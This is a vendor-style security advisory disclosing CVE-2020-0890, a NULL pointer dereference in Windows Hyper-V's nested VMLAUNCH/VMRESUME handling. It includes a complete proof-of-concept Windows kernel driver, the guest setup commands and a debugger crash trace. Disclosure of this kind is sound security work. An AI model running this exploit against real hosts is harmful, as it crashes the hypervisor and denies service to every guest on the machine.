Vendor | Microsoft, www.microsoft.com |
Affected Products | Windows Hyper-V |
Affected Versions | Windows 10 and Windows Server without KB4577032 updates |
CVE ID | CVE-2020-0890 |
Severity | Important |
Author | Daniel Fernandez Kuehr (@ergot86), Blue Frost Security GmbH |
I. Platform
Microsoft Windows Version 10.0.18363.418
Microsoft Hypervisor Kernel Version 18362 x64
Earlier versions also affected.
II. Technical Details
A L2 hypervisor can be in any of the following modes:
0: virtualization support disabled.
1: ISA virtualization support enabled (VMXE bit 13 enabled in CR4).
2: virtualization enabled root (monitor) mode.
3: virtualization enabled non-root (guest) mode.
In mode 0 any attempt to execute VMX instructions raises a #UD. When in ISA (1) mode VMX instructions still raise #UD except for VMXON which is emulated by Hyper-V. If correctly executed, the guest is put into the root (2) mode. At this point the guest can execute any VMX instructions and these will get emulated by Hyper-V.
Hyper-V performs checks for enlightened guests in order to para-virtualize certain stuff. Guests must set up an `assist page` via the 0x40000073 MSR.
In order to trigger the bug the guest must be in root-mode and must also have the assist_page->EnlightenVmEntry set to zero. Then either the execution of VMLAUNCH or VMRESUME will crash the L1 hypervisor.
For both instructions the same handler function is called by the dispatcher code in the following way:
vmlaunch_vmresume_handler( vcpu, .., (vcpu->ptr->assist_page->EnlightenVmEntry) ? true : false )
The functions last argument tells the handler if our guest is enlightened depending on the EnlightenVmEntry field of the assist page.
The following is a over simplified pseudo-code representation of the handler:
vmlaunch_vmresume_handler(vcpu, ..., is_enlightened) { if (is_enlightened == false) set_nested_vmcs(vcpu->ptr, vcpu->ptr->vmx->current_nested_vmcs) else vmptrld_handler(vcpu, vcpu->ptr->assist_page->CurrentNestedVmcs, enlightened=true) validate_and_load_nested_vm(vcpu) }
If EnlightenVmEntry is TRUE the nested VMCS is loaded from CurrentNestedVmcs directly, otherwise the nested VMCS should be loaded first by a VMPTRLD instruction.
If VMPTRLD is not executed previous to a VMLAUNCH/VMRESUME instruction then the vcpu->ptr->vmx->current_nested_vmcs pointer passed to set_nested_vmcs is uninitialized (zero).
III. Impact
The bug leads to a denial of service in the host machine.
IV. Proof of Concept
The following PoC includes a driver that has to be loaded from a Windows guest configured with nested-vt enabled:
Set-VMProcessor -VMName guest_name -ExposeVirtualizationExtensions $true
On the guest Hyper-V must be disabled:
bcdedit /set hypervisorlaunchtype off
#include <intrin.h> #include <ntddk.h> #include <wdf.h> #include <initguid.h> EXTERN_C_START DRIVER_INITIALIZE DriverEntry; EXTERN_C_END #ifdef ALLOC_PRAGMA #pragma alloc_text (INIT, DriverEntry) #endif typedef union hv_x64_msr_contents { UINT64 as_uint64; struct { UINT64 enable : 1; UINT64 reserved : 11; UINT64 guest_physical_address : 52; } u; } hv_msr_contents; #define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073 #define CR4_VMXE (1 << 13) #define CPUID_FEAT_ECX_VMX (1 << 5) #define MSR_IA32_VMX_BASIC 0x480 __declspec(align(0x1000)) UINT32 vmxon_page[1024]; __declspec(align(0x1000)) UINT32 assist_page[1024]; NTSTATUS enable_vmxe(void) { int cpuInfo[4]; NTSTATUS status = STATUS_NOT_IMPLEMENTED; __cpuid(cpuInfo, 1); if (cpuInfo[2] & CPUID_FEAT_ECX_VMX) { UINT64 cr4 = __readcr4(); UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart; KdPrint(("[+] Virtualization support detected")); if (!(cr4 & CR4_VMXE)) { KdPrint(("[+] Enabling VMXE...")); __writecr4(cr4 | CR4_VMXE); } memset(vmxon_page, 0, sizeof(vmxon_page)); vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC); KdPrint(("[+] VMX revision %x", vmxon_page[0])); KdPrint(("[+] Entering monitor mode...")); if (__vmx_on(&pvmxon_page)) KdPrint(("[-] VMXON failed")); else status = STATUS_SUCCESS; } return status; } NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ) { void* hypercall_page; hv_msr_contents assist; NTSTATUS status = enable_vmxe(); if (!NT_SUCCESS(status)) return status; memset(&assist_page, 0, sizeof(assist_page)); assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart; assist.u.enable = 1; __writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64); __vmx_vmlaunch(); // BOOM //__vmx_vmresume(); // BOOM return status; }
The set_nested_vmcs function immediately dereferences the pointer (NULL) passed as an argument and crashes the system.
Access violation - code c0000005 (!!! second chance !!!) hv+0x2fa8c2: fffff83f`f1afa8c2 385a49 cmp byte ptr [rdx+49h],bl 1: kd> r rdx rdx=0000000000000000 1: kd> kb # RetAddr : Args to Child : Call Site 00 fffff83f`f1b0e38b : 0000a4c4`ab2a99ba ffffe802`c5608050 ffffe802`c5608050 ffffe802`00001000 : hv+0x2fa8c2 01 fffff83f`f1b0d505 : 00000000`00000000 00000000`00000014 00000000`019e0100 fffff83f`f1a2084e : hv+0x30e38b 02 fffff83f`f1a86079 : ffffe802`c5608050 ffffe802`c5608950 00000100`00803e89 00000000`0000209b : hv+0x30d505 03 fffff83f`f1a1e1d1 : 00000000`00000003 00000000`00000000 00000000`0010003a 00000000`0010003a : hv+0x286079 04 fffff83f`f1a734f6 : 00000000`00000000 ffffe802`c5608000 00000000`800000fc 00000000`00000001 : hv+0x21e1d1 05 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : hv+0x2734f6
V. Disclosure Timeline
2020-06-02 |
Bug report sent to secure@microsoft.com |
2020-07-15 |
Microsoft confirms the bounty award of 15.000 USD. |
2020-09-08 |
Microsoft releases the patch. |
Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact research@bluefrostsecurity.de for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall Blue Frost Security be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Blue Frost Security has been advised of the possibility of such damages.
Copyright 2020 Blue Frost Security GmbH. All rights reserved. Terms of use apply.